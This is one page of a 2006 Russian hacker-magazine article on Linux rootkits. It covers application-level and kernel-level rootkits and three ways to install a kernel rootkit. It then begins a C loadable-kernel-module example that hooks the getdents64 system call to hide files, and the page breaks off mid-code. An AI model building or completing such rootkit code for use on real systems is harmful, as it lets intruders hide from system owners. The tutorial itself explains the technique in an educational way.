Издательский дом ООО "Гейм Лэнд"СПЕЦВЫПУСК ЖУРНАЛА ХАКЕР #70, СЕНТЯБРЬ 2006 г.

В прятки с мистером Бондом

Андрей Семенюченко

Спецвыпуск: Хакер, номер #070, стр. 070-046-3


С целью скрытия вредоносных действий хакера подменяются системные исполняемые файлы, такие как ifconfig, ps, top, login, ls, netstat, или системные библиотеки типа libproc.a. Либо устанавливается модуль ядра, для того чтобы перехватить попытки пользователя получить реальную картинку состояния системы. Таким образом, различаются руткиты уровня приложений и уровня ядра.

Руткиты уровня приложений, как правило, включают функции по работе с демоном регистраций событий в системе, обычно функции по отключению syslogd; протрояненные системные утилиты и бэкдор, предоставляющий доступ в систему. Руткиты уровня ядра также скрывают свою работу, но на более низком уровне. Рассмотрим три способа установки ядерного руткита.

1) Через модуль ядра LKM. Пишется модуль ядра, изменяющий нужные системные вызовы, и подгружается ядром без перезагрузки системы.

2) Через запись в уже существующий модуль ядра. Чаще всего модифицируются наиболее распространенные модули ядра, обычно загружающиеся на каждом уровне, такие как autofs, md5, scisi_mod, floppy. Благодаря этому можно будет загрузиться заново в случае внезапной перезагрузки системы.

3. Через запись в область памяти, занятой ядром. Дело в том, что существуют способы, позволяющие выяснить адрес области памяти, занятой некоторой частью ядра. После определения адреса остается только осуществить запись в /dev/kmem.

Попробуем разобрать наглядный пример кода LKM, скрывающий определенный файл от глаз сторонних утилит. Первое, что нам нужно определить, - какой системный вызов отвечает за чтение той или иной директории. Сделать это довольно просто. Нужно выполнить трассировку любой программы, считывающей содержимое директории. Если такой программы под рукой нет, то можно самому написать элементарный код, состоящий из функций открытия и чтения директории:

#include <dirent.h>

struct dirent *dirstr;

DIR * mydir=opendir("/tmp");

dirstr=readdir(mydir);

После проведения трассировки программы командой ltrace увидим, что одной из строк является:

SYS_getdents64(3, 0x08049678, 4096, 0x40014400, 0x4014c2c0)

Функция getdents64 как раз и считывает содержимое каталога, а результат записывает в структуру типа struct dirent. Для того чтобы скрыть какой-либо файл, нужно перехватить getdents64, найти в структуре dirent поля d_reclen и d_name, содержащие размер записи и имя файла, и затем удалить нужные записи. Ниже приведен пример с комментариями.

// Не забываем подключать нужные файлы

#include <linux/module.h>

#include <linux/kernel.h>

#include <linux/types.h>

#include <linux/dirent.h>

#include <linux/slab.h>

#include <linux/string.h>

#include <sys/syscall.h>

#include <asm/uaccess.h>

extern void *sys_call_table[];

int (*real_getd)(u_int fil, struct dirent *dirp, u_int cnt);

//Определим наш системный вызов

int our_getd (u_int fil, struct dirent *dirp, u_int cnt)

{

//Описание структуры

struct dirent64 {

int d_ino1,d_ino2,d_off1,d_off2;

Назад на стр. 070-046-2  Содержание  Вперед на стр. 070-046-4